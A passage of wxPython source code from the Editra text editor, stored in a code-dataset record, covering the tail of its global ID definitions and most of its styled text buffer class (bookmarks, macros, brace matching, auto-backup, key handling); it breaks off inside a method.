wx.NewId()\nID_SYN_OFF = wx.NewId()\nID_FOLDING = wx.NewId()\nID_BRACKETHL = wx.NewId()\nID_LEXER = wx.NewId()\nID_LEXER_CUSTOM = wx.NewId()\n\n# Tool Menu IDs\nID_COMMAND = wx.NewId()\nID_PLUGMGR = wx.NewId()\nID_STYLE_EDIT = wx.ID_EDIT\nID_MACRO_START = wx.NewId()\nID_MACRO_STOP = wx.NewId()\nID_MACRO_PLAY = wx.NewId()\nID_GENERATOR = wx.NewId()\nID_HTML_GEN = wx.NewId()\nID_TEX_GEN = wx.NewId()\nID_RTF_GEN = wx.NewId()\nID_RUN_LAUNCH = wx.NewId()\nID_LAUNCH_LAST = wx.NewId()\n\n# Help Menu IDs\nID_ABOUT = wx.ID_ABOUT\nID_HOMEPAGE = wx.ID_HOME\nID_DOCUMENTATION = wx.NewId()\nID_TRANSLATE = wx.NewId()\nID_CONTACT = wx.NewId()\nID_BUG_TRACKER = wx.NewId()\n\n# Misc IDs\nID_ADD = wx.ID_ADD\nID_ADVANCED = wx.NewId()\nID_APP_SPLASH = wx.NewId()\nID_BACKWARD = wx.ID_BACKWARD\nID_BIN_FILE = ID_COMMAND\nID_CDROM = wx.NewId()\nID_COMMAND_LINE_OPEN = wx.NewId()\nID_COMPUTER = wx.NewId()\nID_COPY_PATH = wx.NewId()\nID_COPY_FILE = wx.NewId()\nID_DELETE = wx.NewId()\nID_DOCPROP = wx.NewId()\nID_DOWN = wx.ID_DOWN\nID_DOWNLOAD_DLG = wx.NewId()\nID_FILE = wx.ID_FILE\nID_FIND_RESULTS = wx.NewId()\nID_FLOPPY = wx.NewId()\nID_FOLDER = wx.NewId()\nID_FORWARD = wx.ID_FORWARD\nID_HARDDISK = wx.NewId()\nID_KEY_PROFILES = wx.NewId()\nID_LOGGER = wx.NewId()\nID_BOOKMARK_MGR = wx.NewId()\nID_MOVE_TAB = wx.NewId()\nID_PACKAGE = wx.NewId()\nID_PYSHELL = wx.NewId()\nID_REFRESH = wx.ID_REFRESH\nID_REMOVE = wx.ID_REMOVE\nID_REPORTER = wx.NewId()\nID_STOP = wx.ID_STOP\nID_THEME = wx.NewId()\nID_USB = wx.NewId()\nID_UP = wx.ID_UP\nID_VI_MODE = wx.NewId()\nID_VI_NORMAL_DEFAULT = wx.NewId()\nID_WEB = wx.NewId()\nID_READONLY = wx.NewId()\n\n# Code Elements (ids for art provider)\nID_CLASS_TYPE = wx.NewId()\nID_FUNCT_TYPE = wx.NewId()\nID_ELEM_TYPE = wx.NewId()\nID_VARIABLE_TYPE = wx.NewId()\nID_ATTR_TYPE = wx.NewId()\nID_PROPERTY_TYPE = wx.NewId()\nID_METHOD_TYPE = wx.NewId()\n\n# Statusbar IDs\nSB_INFO = 0\nSB_BUFF = 1\nSB_LEXER = 2\nSB_ENCODING = 3\nSB_EOL = 4\nSB_ROWCOL = 5\n\n# Print Mode Identifiers\nPRINT_BLACK_WHITE = 0\nPRINT_COLOR_WHITE = 1\nPRINT_COLOR_DEF = 2\nPRINT_INVERT = 3\nPRINT_NORMAL = 4\n\n#---- Objects ----#\n\n# Dictionary to map object ids to Profile keys\nID_2_PROF = {\n ID_PREF_AALIAS : 'AALIASING',\n ID_TRANSPARENCY : 'ALPHA',\n ID_PREF_UNINDENT : 'BSUNINDENT',\n ID_APP_SPLASH : 'APPSPLASH',\n ID_PREF_AUTOBKUP : 'AUTOBACKUP',\n ID_AUTOCOMP : 'AUTO_COMP',\n ID_PREF_AUTOCOMPEX : 'AUTO_COMP_EX',\n ID_AUTOINDENT : 'AUTO_INDENT',\n ID_PREF_AUTO_RELOAD : 'AUTO_RELOAD',\n ID_PREF_AUTOTRIM : 'AUTO_TRIM_WS',\n ID_BRACKETHL : 'BRACKETHL',\n ID_PREF_CHKMOD : 'CHECKMOD',\n ID_PREF_CHKUPDATE : 'CHECKUPDATE',\n ID_FOLDING : 'CODE_FOLD',\n ID_PREF_DLEXER : 'DEFAULT_LEX',\n ID_PERSPECTIVES : 'DEFAULT_VIEW',\n ID_PREF_EDGE : 'EDGE',\n ID_PREF_ENCODING : 'ENCODING',\n ID_EOL_MODE : 'EOL_MODE',\n ID_PREF_FHIST : 'FHIST_LVL',\n ID_INDENT_GUIDES : 'GUIDES',\n ID_HLCARET_LINE : 'HLCARETLINE',\n ID_PREF_ICON : 'ICONS',\n ID_PREF_ICONSZ : 'ICON_SZ',\n ID_PREF_INDENTW : 'INDENTWIDTH',\n ID_KEY_PROFILES : 'KEY_PROFILE',\n ID_PREF_LANG : 'LANG',\n ID_PREF_MODE : 'MODE',\n ID_NEW_WINDOW : 'OPEN_NW',\n ID_PRINT_MODE : 'PRINT_MODE',\n ID_REPORTER : 'REPORTER',\n ID_PREF_SPOS : 'SAVE_POS',\n ID_SESSION : 'SAVE_SESSION',\n ID_PREF_WPOS : 'SET_WPOS',\n ID_PREF_WSIZE : 'SET_WSIZE',\n ID_SHOW_EDGE : 'SHOW_EDGE',\n ID_SHOW_EOL : 'SHOW_EOL',\n ID_SHOW_LN : 'SHOW_LN',\n ID_SHOW_WS : 'SHOW_WS',\n ID_SHOW_SB : 'STATBAR',\n ID_SYNTAX : 'SYNTAX',\n ID_PREF_SYNTHEME : 'SYNTHEME',\n ID_PREF_TABICON : 'TABICONS',\n ID_PREF_TABW : 'TABWIDTH',\n ID_VIEW_TOOL : 'TOOLBAR',\n ID_PREF_TABS : 'USETABS',\n ID_PREF_VIRT_SPACE : 'VIEWVERTSPACE',\n ID_VI_MODE : 'VI_EMU',\n ID_VI_NORMAL_DEFAULT : 'VI_NORMAL_DEFAULT',\n ID_PREF_WARN_EOL : 'WARN_EOL',\n ID_WORD_WRAP : 'WRAP',\n}\n\nEOL_MODE_CR = 0\nEOL_MODE_LF = 1\nEOL_MODE_CRLF = 2\ndef EOLModeMap():\n \"\"\"Get the eol mode map\"\"\"\n # Maintenance Note: ints must be kept in sync with EDSTC_EOL_* in edstc\n return { EOL_MODE_CR : _(\"Old Machintosh (\\\\r)\"),\n EOL_MODE_LF : _(\"Unix (\\\\n)\"),\n EOL_MODE_CRLF : _(\"Windows (\\\\r\\\\n)\")}\n\n# Default Plugins\nDEFAULT_PLUGINS = (\"generator.Html\", \"generator.LaTeX\", \"generator.Rtf\",\n \"iface.Shelf\", \"ed_theme.TangoTheme\", \"ed_log.EdLogViewer\",\n \"ed_search.EdFindResults\", \"ed_bookmark.EdBookmarks\")\n", "id": "8064123", "language": "Python", "matching_score": 4.77766227722168, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_glob.py" }, { "content": "###############################################################################\n# Name: ed_stc.py #\n# Purpose: Editra's styled editing buffer #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nThis is the main component of the editor that manages all the information\nof the on disk file that it represents in memory. It works with the StyleManager\nand SyntaxManager to provide an editing pane that auto detects and configures\nitself for type of file that is in buffer to do highlighting and other language\nspecific options such as commenting code.\n\n@summary: Editra's main text buffer class\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_stc.py 68139 2011-07-02 20:35:04Z CJP $\"\n__revision__ = \"$Revision: 68139 $\"\n\n#-------------------------------------------------------------------------#\n# Imports\n\nimport os\nimport wx, wx.stc\n\n# Local Imports\nimport ed_event\nimport ed_glob\nfrom profiler import Profile_Get as _PGET\nfrom syntax import syntax\nimport util\nimport ed_basestc\nimport ed_marker\nimport ed_msg\nimport ed_mdlg\nimport ed_txt\nfrom ed_keyh import KeyHandler, ViKeyHandler\nimport ebmlib\nimport ed_thread\n\n#-------------------------------------------------------------------------#\n# Globals\n_ = wx.GetTranslation\n\n# EOL Constants\nEDSTC_EOL_CR = ed_glob.EOL_MODE_CR\nEDSTC_EOL_LF = ed_glob.EOL_MODE_LF\nEDSTC_EOL_CRLF = ed_glob.EOL_MODE_CRLF\n\n# Character sets\nSPACECHARS = \" \\t\\r\\n\"\nNONSPACE = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_\"\nOPERATORS = \"./\\?[]{}<>!@#$%^&*():=-+\\\"';,\"\n\n#-------------------------------------------------------------------------#\n\ndef jumpaction(func):\n \"\"\"Decorator method to notify clients about jump actions\"\"\"\n def WrapJump(*args, **kwargs):\n \"\"\"Wrapper for capturing before/after pos of a jump action\"\"\"\n stc = args[0]\n pos = stc.GetCurrentPos()\n line = stc.GetCurrentLine()\n func(*args, **kwargs)\n cpos = stc.GetCurrentPos()\n cline = stc.GetCurrentLine()\n fname = stc.GetFileName()\n\n mdata = dict(fname=fname,\n prepos=pos, preline=line,\n lnum=cline, pos=cpos)\n tlw = stc.GetTopLevelParent()\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_POS_JUMPED, mdata, tlw.GetId()) \n\n WrapJump.__name__ = func.__name__\n WrapJump.__doc__ = func.__doc__\n return WrapJump\n\n\n#-------------------------------------------------------------------------#\n\nclass EditraStc(ed_basestc.EditraBaseStc):\n \"\"\"Defines a styled text control for editing text\n @summary: Subclass of wx.stc.StyledTextCtrl and L{ed_style.StyleMgr}.\n Manages the documents display and input.\n\n \"\"\"\n def __init__(self, parent, id_,\n pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=0, use_dt=True):\n \"\"\"Initializes a control and sets the default objects for\n Tracking events that occur in the control.\n @keyword use_dt: whether to use a drop target or not\n\n \"\"\"\n super(EditraStc, self).__init__(parent, id_, pos, size, style)\n\n self.SetModEventMask(wx.stc.STC_PERFORMED_UNDO | \\\n wx.stc.STC_PERFORMED_REDO | \\\n wx.stc.STC_MOD_DELETETEXT | \\\n wx.stc.STC_MOD_INSERTTEXT)\n\n self.CmdKeyAssign(ord('-'), wx.stc.STC_SCMOD_CTRL, \\\n wx.stc.STC_CMD_ZOOMOUT)\n self.CmdKeyAssign(ord('+'), wx.stc.STC_SCMOD_CTRL | \\\n wx.stc.STC_SCMOD_SHIFT, wx.stc.STC_CMD_ZOOMIN)\n\n #---- Drop Target ----#\n if use_dt and hasattr(parent, 'OnDrop'):\n self.SetDropTarget(util.DropTargetFT(self, None, parent.OnDrop))\n\n # Attributes\n self.LOG = wx.GetApp().GetLog()\n self._loading = None\n self.key_handler = KeyHandler(self)\n self._backup_done = True\n self._bktimer = wx.Timer(self)\n self._dwellsent = False\n\n # Macro Attributes\n self._macro = list()\n self.recording = False\n\n # Command/Settings Attributes\n self._config = dict(autocomp=_PGET('AUTO_COMP'),\n autoindent=_PGET('AUTO_INDENT'),\n brackethl=_PGET('BRACKETHL'),\n folding=_PGET('CODE_FOLD'),\n highlight=_PGET('SYNTAX'),\n autobkup=_PGET('AUTOBACKUP'))\n\n # Set Default Styles used by all documents\n self.Configure()\n self.UpdateBaseStyles()\n\n # Other Settings\n self.SetMouseDwellTime(900)\n self.UsePopUp(False)\n\n #self.Bind(wx.stc.EVT_STC_MACRORECORD, self.OnRecordMacro)\n self.Bind(wx.stc.EVT_STC_MARGINCLICK, self.OnMarginClick)\n self.Bind(wx.stc.EVT_STC_UPDATEUI, self.OnUpdateUI)\n self.Bind(wx.stc.EVT_STC_USERLISTSELECTION, self.OnUserListSel)\n self.Bind(wx.stc.EVT_STC_DWELLSTART, self.OnDwellStart)\n self.Bind(wx.stc.EVT_STC_DWELLEND, self.OnDwellEnd)\n self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown)\n self.Bind(wx.EVT_CHAR, self.OnChar)\n self.Bind(wx.EVT_KEY_UP, self.OnKeyUp)\n self.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n self.Bind(wx.EVT_TIMER, self.OnBackupTimer)\n\n # Async file load events\n self.Bind(ed_txt.EVT_FILE_LOAD, self.OnLoadProgress)\n\n #---- End Init ----#\n\n __name__ = u\"EditraTextCtrl\"\n\n #---- Protected Member Functions ----#\n\n def _BuildMacro(self):\n \"\"\"Constructs a macro script from items in the macro\n record list.\n @status: in limbo\n\n \"\"\"\n if not len(self._macro):\n return\n\n # Get command mappings\n cmds = list()\n for x in dir(wx.stc):\n if x.startswith('STC_CMD_'):\n cmds.append(x)\n cmdvals = [getattr(wx.stc, x) for x in cmds]\n cmds = [x.replace('STC_CMD_', u'') for x in cmds]\n\n # Get the commands names used in the macro\n named = list()\n for x in self._macro:\n if x[0] in cmdvals:\n named.append(cmds[cmdvals.index(x[0])])\n code = list()\n\n stc_dict = wx.stc.StyledTextCtrl.__dict__\n for cmd in named:\n for attr in stc_dict:\n if attr.upper() == cmd:\n code.append(attr)\n break\n\n code_txt = u''\n for fun in code:\n code_txt += \" ctrl.%s()\\n\" % fun\n code_txt += \" print \\\"Executed\\\"\" #TEST\n code_txt = \"def macro(ctrl):\\n\" + code_txt\n self.GetParent().NewPage()\n self.GetParent().GetCurrentPage().SetText(code_txt)\n self.GetParent().GetCurrentPage().FindLexer('py')\n# code = compile(code_txt, self.__module__, 'exec')\n# exec code in self.__dict__ # Inject new code into this namespace\n\n def _MacHandleKey(self, k_code, shift_down, alt_down, ctrl_down, cmd_down):\n \"\"\"Handler for mac specific actions\"\"\"\n if alt_down:\n return False\n\n if (k_code == wx.WXK_BACK and shift_down) and \\\n not (ctrl_down or cmd_down):\n self.DeleteForward()\n elif cmd_down and not ctrl_down:\n line = self.GetCurrentLine()\n if k_code == wx.WXK_RIGHT:\n pos = self.GetLineStartPosition(line)\n txt = self.GetLine(line)\n diff = len(txt.rstrip())\n self.GotoPos(pos + diff)\n if shift_down:\n self.SetSelection(pos, pos + diff)\n elif k_code == wx.WXK_LEFT:\n cpos = self.GetCurrentPos()\n self.GotoIndentPos(line)\n if shift_down:\n self.SetSelection(cpos, self.GetCurrentPos())\n else:\n return False\n else:\n return False\n\n return True\n\n #---- Public Member Functions ----#\n\n def AddBookmark(self, line=-1):\n \"\"\"Add a bookmark and return its handle\n Sends notifications for bookmark added\n @keyword line: if < 0 bookmark will be added to current line\n\n \"\"\"\n rval = self.AddMarker(ed_marker.Bookmark(), line)\n mdata = dict(stc=self, added=True, line=line, handle=rval)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_BOOKMARK, mdata)\n return rval\n\n def RemoveBookmark(self, line):\n \"\"\"Remove the book mark from the given line\n Sends notifications for bookmark removal.\n @param line: int\n\n \"\"\"\n self.RemoveMarker(ed_marker.Bookmark(), line)\n mdata = dict(stc=self, added=False, line=line)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_BOOKMARK, mdata)\n\n def RemoveAllBookmarks(self):\n \"\"\"Remove all the bookmarks in the buffer\n Sends notifications for bookmark removal.\n\n \"\"\"\n self.RemoveAllMarkers(ed_marker.Bookmark())\n mdata = dict(stc=self, added=False, line=-1)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_BOOKMARK, mdata)\n\n def PlayMacro(self):\n \"\"\"Send the list of built up macro messages to the editor\n to be played back.\n @postcondition: the macro of this control has been played back\n\n \"\"\"\n self.BeginUndoAction()\n for msg in self._macro:\n if msg[0] == 2170:\n self.AddText(msg[2])\n elif msg[0] == 2001:\n self.AddText(self.GetEOLChar() + u' ' * (msg[1] - 1))\n else:\n self.SendMsg(msg[0], msg[1], msg[2])\n self.EndUndoAction()\n\n #---- Begin Function Definitions ----#\n\n def Bookmark(self, action):\n \"\"\"Handles bookmark actions\n @param action: An event ID that describes what is to be done\n @return: None\n\n \"\"\"\n lnum = self.GetCurrentLine()\n mark = -1\n if action == ed_glob.ID_ADD_BM:\n if self.MarkerGet(lnum):\n self.RemoveBookmark(lnum)\n else:\n self.AddBookmark(lnum)\n elif action == ed_glob.ID_DEL_ALL_BM:\n self.RemoveAllBookmarks()\n elif action == ed_glob.ID_NEXT_MARK:\n if self.MarkerGet(lnum):\n lnum += 1\n mark = self.MarkerNext(lnum, 1)\n if mark == -1:\n mark = self.MarkerNext(0, 1)\n elif action == ed_glob.ID_PRE_MARK:\n if self.MarkerGet(lnum):\n lnum -= 1\n mark = self.MarkerPrevious(lnum, 1)\n if mark == -1:\n mark = self.MarkerPrevious(self.GetLineCount(), 1)\n\n if mark != -1:\n self.GotoLine(mark)\n\n # TODO: DO NOT use these methods anywhere new they will be removed soon\n def ShowCommandBar(self):\n \"\"\"Open the command bar\"\"\"\n self.GetTopLevelParent().GetEditPane().ShowCommandControl(ed_glob.ID_COMMAND)\n\n def ShowFindBar(self):\n \"\"\"Open the quick-find bar\"\"\"\n self.GetTopLevelParent().GetEditPane().ShowCommandControl(ed_glob.ID_QUICK_FIND)\n # END TODO\n\n def GetBookmarks(self):\n \"\"\"Gets a list of all lines containing bookmarks\n @return: list of line numbers\n\n \"\"\"\n MarkIsSet = ed_marker.Bookmark.IsSet\n return [line for line in range(self.GetLineCount())\n if MarkIsSet(self, line)]\n\n def DoBraceHighlight(self):\n \"\"\"Perform a brace matching highlight\n @note: intended for internal use only\n \"\"\"\n brace_at_caret, brace_opposite = self.GetBracePair()\n # CallAfter necessary to reduce CG warnings on Mac\n if brace_at_caret != -1 and brace_opposite == -1:\n wx.CallAfter(self.BraceBadLight, brace_at_caret)\n else:\n wx.CallAfter(self.BraceHighlight, brace_at_caret, brace_opposite)\n\n def GetBracePair(self, pos=-1):\n \"\"\"Get a tuple of the positions in the buffer where the brace at the\n current caret position and its match are. if a brace doesn't have a\n match it will return -1 for the missing brace.\n @keyword pos: -1 to use current cursor pos, else use to specify brace pos\n @return: tuple (brace_at_caret, brace_opposite)\n\n \"\"\"\n brace_at_caret = -1\n brace_opposite = -1\n char_before = None\n if pos < 0:\n # use current position\n caret_pos = self.GetCurrentPos()\n else:\n caret_pos = pos\n\n if caret_pos > 0:\n char_before = self.GetCharAt(caret_pos - 1)\n\n # check before\n if char_before and unichr(char_before) in \"[]{}()<>\":\n brace_at_caret = caret_pos - 1\n\n # check after\n if brace_at_caret < 0:\n char_after = self.GetCharAt(caret_pos)\n if char_after and chr(char_after) in \"[]{}()<>\":\n brace_at_caret = caret_pos\n\n if brace_at_caret >= 0:\n brace_opposite = self.BraceMatch(brace_at_caret)\n\n return (brace_at_caret, brace_opposite)\n\n def Configure(self):\n \"\"\"Configures the editors settings by using profile values\n @postcondition: all profile dependent attributes are configured\n\n \"\"\"\n# self.SetControlCharSymbol(172)\n self.SetWrapMode(_PGET('WRAP', 'bool'))\n self.SetViewWhiteSpace(_PGET('SHOW_WS', 'bool'))\n self.SetUseAntiAliasing(_PGET('AALIASING'))\n self.SetUseTabs(_PGET('USETABS'))\n self.SetBackSpaceUnIndents(_PGET('BSUNINDENT'))\n self.SetCaretLineVisible(_PGET('HLCARETLINE'))\n self.SetIndent(_PGET('INDENTWIDTH', 'int'))\n self.SetTabWidth(_PGET('TABWIDTH', 'int'))\n# self.SetTabIndents(True) # Add option for this too?\n self.SetIndentationGuides(_PGET('GUIDES'))\n self.SetEOLMode(_PGET('EOL_MODE'))\n self.SetViewEOL(_PGET('SHOW_EOL'))\n self.SetAutoComplete(_PGET('AUTO_COMP'))\n self.FoldingOnOff(_PGET('CODE_FOLD'))\n self.ToggleAutoIndent(_PGET('AUTO_INDENT'))\n self.ToggleBracketHL(_PGET('BRACKETHL'))\n self.ToggleLineNumbers(_PGET('SHOW_LN'))\n self.SetViEmulationMode(_PGET('VI_EMU'), _PGET('VI_NORMAL_DEFAULT'))\n self.SetViewEdgeGuide(_PGET('SHOW_EDGE'))\n self.EnableAutoBackup(_PGET('AUTOBACKUP'))\n self.SetEndAtLastLine(not _PGET('VIEWVERTSPACE', default=False))\n\n def ConvertCase(self, upper=False):\n \"\"\"Converts the case of the selected text to either all lower\n case(default) or all upper case.\n @keyword upper: Flag whether conversion is to upper case or not.\n\n \"\"\"\n sel = self.GetSelectedText()\n if upper:\n sel = sel.upper()\n else:\n sel = sel.lower()\n self.ReplaceSelection(sel)\n\n def EnableAutoBackup(self, enable):\n \"\"\"Enable automatic backups\n @param enable: bool\n\n \"\"\"\n if enable:\n # TODO: make backup interval configurable\n if not self._bktimer.IsRunning():\n self._bktimer.Start(30000) # every 30 seconds\n else:\n if self._bktimer.IsRunning():\n self._bktimer.Stop()\n\n def InvertCase(self):\n \"\"\"Invert the case of the selected text\n @postcondition: all text in selection has case inverted\n\n \"\"\"\n text = self.GetSelectedText()\n if len(text):\n self.BeginUndoAction()\n self.ReplaceSelection(text.swapcase())\n self.EndUndoAction()\n\n def GetAutoIndent(self):\n \"\"\"Returns whether auto-indent is being used\n @return: whether autoindent is active or not\n @rtype: bool\n\n \"\"\"\n return self._config['autoindent']\n\n def GetLineStartPosition(self, line):\n \"\"\"Get the starting position of the given line\n @param line: int\n @return: int\n\n \"\"\"\n if line > 0:\n spos = self.GetLineEndPosition(line-1)\n if self.GetLine(line).endswith(\"\\r\\n\"):\n spos += 2\n else:\n spos += 1\n else:\n spos = 0\n return spos\n\n def GetLastVisibleLine(self):\n \"\"\"Return what the last visible line is\n @return: int\n\n \"\"\"\n return self.GetFirstVisibleLine() + self.LinesOnScreen() - 1\n\n def GetMiddleVisibleLine(self):\n \"\"\"Return the number of the line that is in the middle of the display\n @return: int\n\n \"\"\"\n fline = self.GetFirstVisibleLine()\n if self.LinesOnScreen() < self.GetLineCount():\n mid = (fline + (self.LinesOnScreen() / 2))\n else:\n mid = (fline + (self.GetLineCount() / 2))\n return mid\n\n def GotoBraceMatch(self):\n \"\"\"Jump the caret to the brace opposite of the one the caret is\n currently at. If there is no match or the caret currently is not next\n to a brace no action is taken.\n @return: bool\n\n \"\"\"\n cbrace, brace_opposite = self.GetBracePair()\n if -1 in (cbrace, brace_opposite):\n return False\n else:\n self.GotoPos(brace_opposite)\n return True\n\n def GotoColumn(self, column):\n \"\"\"Move caret to column of current line\n @param column: Column to move to\n\n \"\"\"\n cline = self.GetCurrentLineNum()\n lstart = self.PositionFromLine(cline)\n lend = self.GetLineEndPosition(cline)\n linelen = lend - lstart\n if column > linelen:\n column = linelen\n self.GotoPos(lstart + column)\n\n @jumpaction\n def GotoLine(self, line):\n \"\"\"Move caret to beginning given line number\n @param line: line to go to (int)\n\n \"\"\"\n if line > self.GetLineCount():\n line = self.GetLineCount()\n elif line < 0:\n line = 0\n else:\n pass\n\n self.SetYCaretPolicy(wx.stc.STC_CARET_STRICT, 0)\n super(EditraStc, self).GotoLine(line)\n self.SetYCaretPolicy(wx.stc.STC_CARET_EVEN, 0)\n self.PostPositionEvent()\n\n @jumpaction\n def GotoPos(self, pos):\n \"\"\"Override StyledTextCtrl.GotoPos\n @param pos: position in buffer to move caret to (int)\n\n \"\"\"\n super(EditraStc, self).GotoPos(pos)\n self.PostPositionEvent()\n\n def SetCaretPos(self, pos):\n \"\"\"Set the caret position without posting jump events\n @param pos: position to go to\n\n \"\"\"\n super(EditraStc, self).GotoPos(pos)\n self.PostPositionEvent()\n\n def GotoIndentPos(self, line=None):\n \"\"\"Move the caret to the end of the indentation\n on the given line.\n @param line: line to go to\n\n \"\"\"\n if line is None:\n line = self.GetCurrentLine()\n self.GotoPos(self.GetLineIndentPosition(line))\n\n def SetCurrentCol(self, column):\n \"\"\"Set the current column position on the currently line\n extending the selection.\n @param column: Column to move to\n\n \"\"\"\n cline = self.GetCurrentLineNum()\n lstart = self.PositionFromLine(cline)\n lend = self.GetLineEndPosition(cline)\n linelen = lend - lstart\n if column > linelen:\n column = linelen\n self.SetCurrentPos(lstart + column)\n\n def DeleteForward(self):\n \"\"\"Delete the selection, or if there is no selection, then\n delete the character to the right of the cursor.\n\n \"\"\"\n if self.GetSelectionStart() == self.GetSelectionEnd():\n self.SetCurrentPos(self.GetCurrentPos() + 1)\n self.DeleteBack()\n\n def EnableKeyProcessor(self, enable=True):\n \"\"\"Enable specialized key handling\n @keyword enable: bool\n\n \"\"\"\n self.key_handler.EnableProcessing(enable)\n\n def GetAutoComplete(self):\n \"\"\"Is Autocomplete being used by this instance\n @return: whether autocomp is active or not\n\n \"\"\"\n return self._config['autocomp']\n\n def OnBackupTimer(self, evt):\n \"\"\"Backup the buffer to a backup file.\n @param evt: wx.TimerEvent\n\n \"\"\"\n fname = self.GetFileName()\n # If the file is loading or is over 5MB don't do automatic backups.\n if self.IsLoading() or ebmlib.GetFileSize(fname) > 5242880:\n return\n\n # If the file is different than the last save point make the backup.\n bkupmgr = ebmlib.FileBackupMgr(None, u\"%s.edbkup\")\n path = _PGET('AUTOBACKUP_PATH', default=u\"\")\n if path and os.path.exists(path):\n bkupmgr.SetBackupDirectory(path)\n\n if not self._backup_done and \\\n (not bkupmgr.HasBackup(fname) or bkupmgr.IsBackupNewer(fname)):\n msg = _(\"File backup performed: %s\") % fname\n idval = self.Id\n target = self.TopLevelParent\n def BackupJob(fobj, text):\n writer = bkupmgr.GetBackupWriter(fobj)\n try:\n writer(text)\n except Exception, msg:\n return\n nevt = ed_event.StatusEvent(ed_event.edEVT_STATUS, idval,\n msg, ed_glob.SB_INFO)\n wx.PostEvent(target, nevt)\n ed_thread.EdThreadPool().QueueJob(BackupJob, self.File, self.GetText())\n self._backup_done = True\n\n def OnModified(self, evt):\n \"\"\"Overrides base modified handler\"\"\"\n super(EditraStc, self).OnModified(evt)\n if not self.IsLoading():\n self._backup_done = False\n\n def OnKeyDown(self, evt):\n \"\"\"Handles keydown events, currently only deals with\n auto indentation.\n @param evt: event that called this handler\n @type evt: wx.KeyEvent\n\n \"\"\"\n k_code = evt.GetKeyCode()\n shift_down = evt.ShiftDown()\n alt_down = evt.AltDown()\n ctrl_down = evt.ControlDown()\n cmd_down = evt.CmdDown()\n\n if self.key_handler.PreProcessKey(k_code, ctrl_down,\n cmd_down, shift_down,\n alt_down):\n return\n\n if wx.Platform == '__WXMAC__' and self._MacHandleKey(k_code, shift_down,\n alt_down, ctrl_down,\n cmd_down):\n pass\n elif k_code == wx.WXK_RETURN:\n if self._config['autoindent'] and not self.AutoCompActive():\n if self.GetSelectedText():\n self.CmdKeyExecute(wx.stc.STC_CMD_NEWLINE)\n else:\n self.AutoIndent()\n else:\n evt.Skip()\n\n self.CallTipCancel()\n\n elif self.VertEdit.Enabled:\n # XXX: handle column mode\n self.VertEdit.OnKeyDown(evt)\n else:\n evt.Skip()\n\n def OnChar(self, evt):\n \"\"\"Handles Char events that aren't caught by the\n KEY_DOWN event.\n @param evt: event that called this handler\n @type evt: wx.EVT_CHAR\n @todo: autocomp/calltip lookup can be very cpu intensive it may\n be better to try and process it on a separate thread to\n prevent a slow down in the input of text into the buffer\n\n \"\"\"\n key_code = evt.GetKeyCode()\n cpos = self.GetCurrentPos()\n cmpl = self.GetCompleter()\n if self.key_handler.ProcessKey(key_code, evt.ControlDown(),\n evt.CmdDown(), evt.ShiftDown(),\n evt.AltDown()):\n # The key handler handled this keypress, we don't need to insert\n # the character into the buffer.\n pass\n\n elif not self._config['autocomp'] or not cmpl.ShouldCheck(cpos):\n evt.Skip()\n return\n\n elif key_code in cmpl.GetAutoCompKeys():\n self.HidePopups()\n\n uchr = unichr(key_code)\n command = self.GetCommandStr() + uchr\n self.PutText(uchr)\n\n if self._config['autocomp']:\n self.ShowAutoCompOpt(command)\n\n elif key_code in cmpl.GetCallTipKeys():\n self.HidePopups()\n uchr = unichr(key_code)\n command = self.GetCommandStr() + uchr\n self.PutText(uchr)\n\n if self._config['autocomp']:\n self.ShowCallTip(command)\n\n elif key_code in cmpl.GetCallTipCancel():\n evt.Skip()\n self.CallTipCancel()\n# elif key_code == wx.WXK_TAB and \\\n# True not in (evt.ControlDown(), evt.CmdDown(), \n# evt.ShiftDown(), evt.AltDown()):\n# self.Tab() # <- So action can be overridden\n else:\n# print \"IS TAB\", key_code, wx.WXK_TAB\n evt.Skip()\n\n def DoAutoComplete(self):\n \"\"\"Atempt to perform an autocompletion event.\"\"\"\n self.HidePopups()\n if self._config['autocomp']:\n command = self.GetCommandStr()\n self.ShowAutoCompOpt(command)\n\n def DoCallTip(self):\n \"\"\"Attempt to show a calltip for the current cursor position\"\"\"\n self.HidePopups()\n if self._config['autocomp']:\n command = self.GetCommandStr()\n # TODO: GetCommandStr seems to be inadquate under some cases\n self.ShowCallTip(command)\n\n def OnKeyUp(self, evt):\n \"\"\"Update status bar of window\n @param evt: wxEVT_KEY_UP\n\n \"\"\"\n evt.Skip()\n self.PostPositionEvent()\n tlw = self.GetTopLevelParent()\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_KEYUP,\n (evt.GetPositionTuple(), evt.GetKeyCode()),\n tlw.GetId())\n\n def PostPositionEvent(self):\n \"\"\"Post an event to update the status of the line/column\"\"\"\n line, column = self.GetPos()\n pinfo = dict(lnum=line, cnum=column)\n msg = _(\"Line: %(lnum)d Column: %(cnum)d\") % pinfo\n nevt = ed_event.StatusEvent(ed_event.edEVT_STATUS, self.GetId(),\n msg, ed_glob.SB_ROWCOL)\n tlw = self.GetTopLevelParent()\n wx.PostEvent(tlw, nevt)\n ed_msg.PostMessage(ed_msg.EDMSG_UI_STC_POS_CHANGED, pinfo, tlw.GetId())\n\n def OnRecordMacro(self, evt):\n \"\"\"Records macro events\n @param evt: event that called this handler\n @type evt: wx.stc.StyledTextEvent\n\n \"\"\"\n if self.IsRecording():\n msg = evt.GetMessage()\n if msg == 2170:\n lparm = self.GetTextRange(self.GetCurrentPos()-1, \\\n self.GetCurrentPos())\n else:\n lparm = evt.GetLParam()\n mac = (msg, evt.GetWParam(), lparm)\n self._macro.append(mac)\n# if mac[0] != 2170:\n# self._macro.append(mac)\n else:\n evt.Skip()\n\n def ParaDown(self): # pylint: disable-msg=W0221\n \"\"\"Move the caret one paragraph down\n @note: overrides the default function to set caret at end\n of paragraph instead of jumping to start of next\n\n \"\"\"\n self.WordPartRight()\n 